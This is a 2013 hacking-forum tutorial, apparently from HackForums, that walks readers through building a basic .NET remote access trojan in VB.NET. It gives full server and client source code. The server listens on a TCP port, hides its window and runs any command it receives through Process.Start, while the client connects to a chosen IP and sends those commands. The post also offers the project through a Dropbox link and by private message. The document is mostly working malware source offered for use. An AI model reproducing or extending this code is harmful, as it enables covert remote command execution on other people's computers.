Sep 23, 2013 11:33 AM
(This post was last modified: Sep 24, 2013 12:03 AM by .Coder..)
THIS IS VERY BAD CODE BUT YOU CAN USE IF YOU WANT.Basic .NET RAT(Its not the best) IF you dont like don't hate! find someone else to criticize
Hello HF users! Today I'm going to teach you how to make a basic .NET RAT.
Here are a Few pictures of my RAT. Remember its basic.
Spoiler (Click to View)
Right lets get started! Firsts things first Create a new Project in Visual Studio or what ever you have and name it "server" without ""
Double click the form to get on the coding page.
Okays at the very top type this:
Code
Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32Now under Form1 type:
Code
Dim port As Integer = 6961
Dim sock As New TcpClient()
Dim tcpc As New TcpListener(port)
Dim place As StringTo do that we have to make a listen sub but this un what you just did:
Code
Private Sub listen()
Try
tcpc.Start()
sock = tcpc.AcceptTcpClient()
Catch ex As Exception
End Try
End SubCode
Private Sub check()
If sock.Connected = True Then
sock.SendTimeout = 5000
Try
Dim nstream As NetworkStream = sock.GetStream
Dim bit(sock.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)
If id(0) = 0 Then
Dim stri As String = id(1)
Process.Start(stri)
End If
If id(0) = 1 Then
Dim stri As String = id(1)
MsgBox(id(1))
End If
Catch ex As Exception
check()
End Try
End If
End SubCode
If id(0) = 0 Then
Dim stri As String = id(1)
Process.Start(stri)
End If
If id(0) = 1 Then
Dim stri As String = id(1)
MsgBox(id(1))
End IfAll we have to do now is add the Form1 code:
Code
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
While sock.Connected = False
Try
listen()
Catch ex As Exception
End Try
End While
While True
check()
End While
Me.Hide()
End Sub
End ClassThis is the Sever done! just build and save.
Lets get on with the Client You can have yours anyway you like, I choose my design because I like it to look cool with this feature:
![[Image: IvYjkBe.gif]](https://i.imgur.com/IvYjkBe.gif)
What you need:
4 textbox's
3 buttons
1 label
First we need to import our stuffff, At the top type :
Code
Imports System.Net
Imports System.Net.SocketsNow under where it says "Public class Form1" type
Code
Dim sock As New TcpClient()
Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
Dim port As Integer = 6961Now we make a new Sub:
Code
Private Sub connect()
ip = IPAddress.Parse(TextBox1.Text)
port = TextBox2.Text
Try
sock.Connect(ip, port)
MsgBox("You have Connected", MsgBoxStyle.Information, "Connected")
Label1.Text = "Connected"
Catch ex As Exception
MsgBox("Can not connect to designated ip at this time" + ex.Message)
End Try
End SubNew sub:
Code
Private Sub dat(ByVal dat As String)
Dim nstream As NetworkStream = sock.GetStream()
Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
nstream.Write(bit, 0, bit.Length)This allows the client to connect to the IP.
Now for the buttons:
Button1
Code
connect()
TextBox3.Cursor = Cursors.IBeam
TextBox4.Cursor = Cursors.IBeamButton2
Code
dat("0*" + TextBox3.Text)Button3
Code
dat("1*" + TextBox4.Text)I have other features with the Me.close button as you can see In the GIF. allow set your text boxs curser To the blocked sign so it is blocked untill You connect.
Full Source.
Server:
Code
Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32
Public Class Form1
Dim port As Integer = 6961
Dim sock As New TcpClient()
Dim tcpc As New TcpListener(port)
Dim place As String
Private Sub listen()
Try
tcpc.Start()
sock = tcpc.AcceptTcpClient()
Catch ex As Exception
End Try
End Sub
Private Sub check()
If sock.Connected = True Then
sock.SendTimeout = 5000
Try
Dim nstream As NetworkStream = sock.GetStream
Dim bit(sock.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)
If id(0) = 0 Then
Dim stri As String = id(1)
Process.Start(stri)
End If
If id(0) = 1 Then
Dim stri As String = id(1)
MsgBox(id(1))
End If
Catch ex As Exception
check()
End Try
End If
End Sub
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
While sock.Connected = False
Try
listen()
Catch ex As Exception
End Try
End While
While True
check()
End While
Me.Hide()
End Sub
End ClassClient:
Code
Imports System.Net
Imports System.Net.Sockets
Public Class Form1
Dim sock As New TcpClient()
Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
Dim port As Integer = 6961
Private Sub connect()
ip = IPAddress.Parse(TextBox1.Text)
port = TextBox2.Text
Try
sock.Connect(ip, port)
MsgBox("You have Connected", MsgBoxStyle.Information, "Connected")
Label1.Text = "Connected"
Catch ex As Exception
MsgBox("Can not connect to designated ip at this time" + ex.Message)
End Try
End Sub
Private Sub dat(ByVal dat As String)
Dim nstream As NetworkStream = sock.GetStream()
Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
nstream.Write(bit, 0, bit.Length)
End Sub
Private Sub Button3_Click(sender As Object, e As EventArgs)
dat("1*" + TextBox4.Text)
End Sub
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Label1.Text = "Disconnected"
End Sub
Private Sub GuI_Buttons1_Click(sender As Object, e As EventArgs) Handles GuI_Buttons1.Click
connect()
TextBox3.Cursor = Cursors.IBeam
TextBox4.Cursor = Cursors.IBeam
End Sub
Private Sub PictureBox1_Click(sender As Object, e As EventArgs) Handles PictureBox1.Click
dat("0*" + TextBox3.Text)
End Sub
Private Sub PictureBox2_Click(sender As Object, e As EventArgs) Handles PictureBox2.Click
dat("1*" + TextBox4.Text)
End Sub
Private Sub PictureBox3_Click(sender As Object, e As EventArgs) Handles PictureBox3.Click
Me.Close()
End Sub
End ClassThank you for Taking this in hope it help thanks to --([-S7N-])--For some code.
My project, Just the client not there server or Post asking for it and ill PM you both.
DOWNLOAD VIA DROPBOX: https://www.dropbox.com/s/tdcjzg9b4becjna/Client.rar
Please dont copy my thread It took alot of time to make this!!!!
Thanks!
.Coder.


![[Image: gcKyO6C.png]](https://i.imgur.com/gcKyO6C.png)
![[Image: pFIBhRO.png]](https://i.imgur.com/pFIBhRO.png)
![[Image: n6tgRpJ.png]](https://i.imgur.com/n6tgRpJ.png)
![[Image: f6kihB1.png]](https://i.imgur.com/f6kihB1.png)
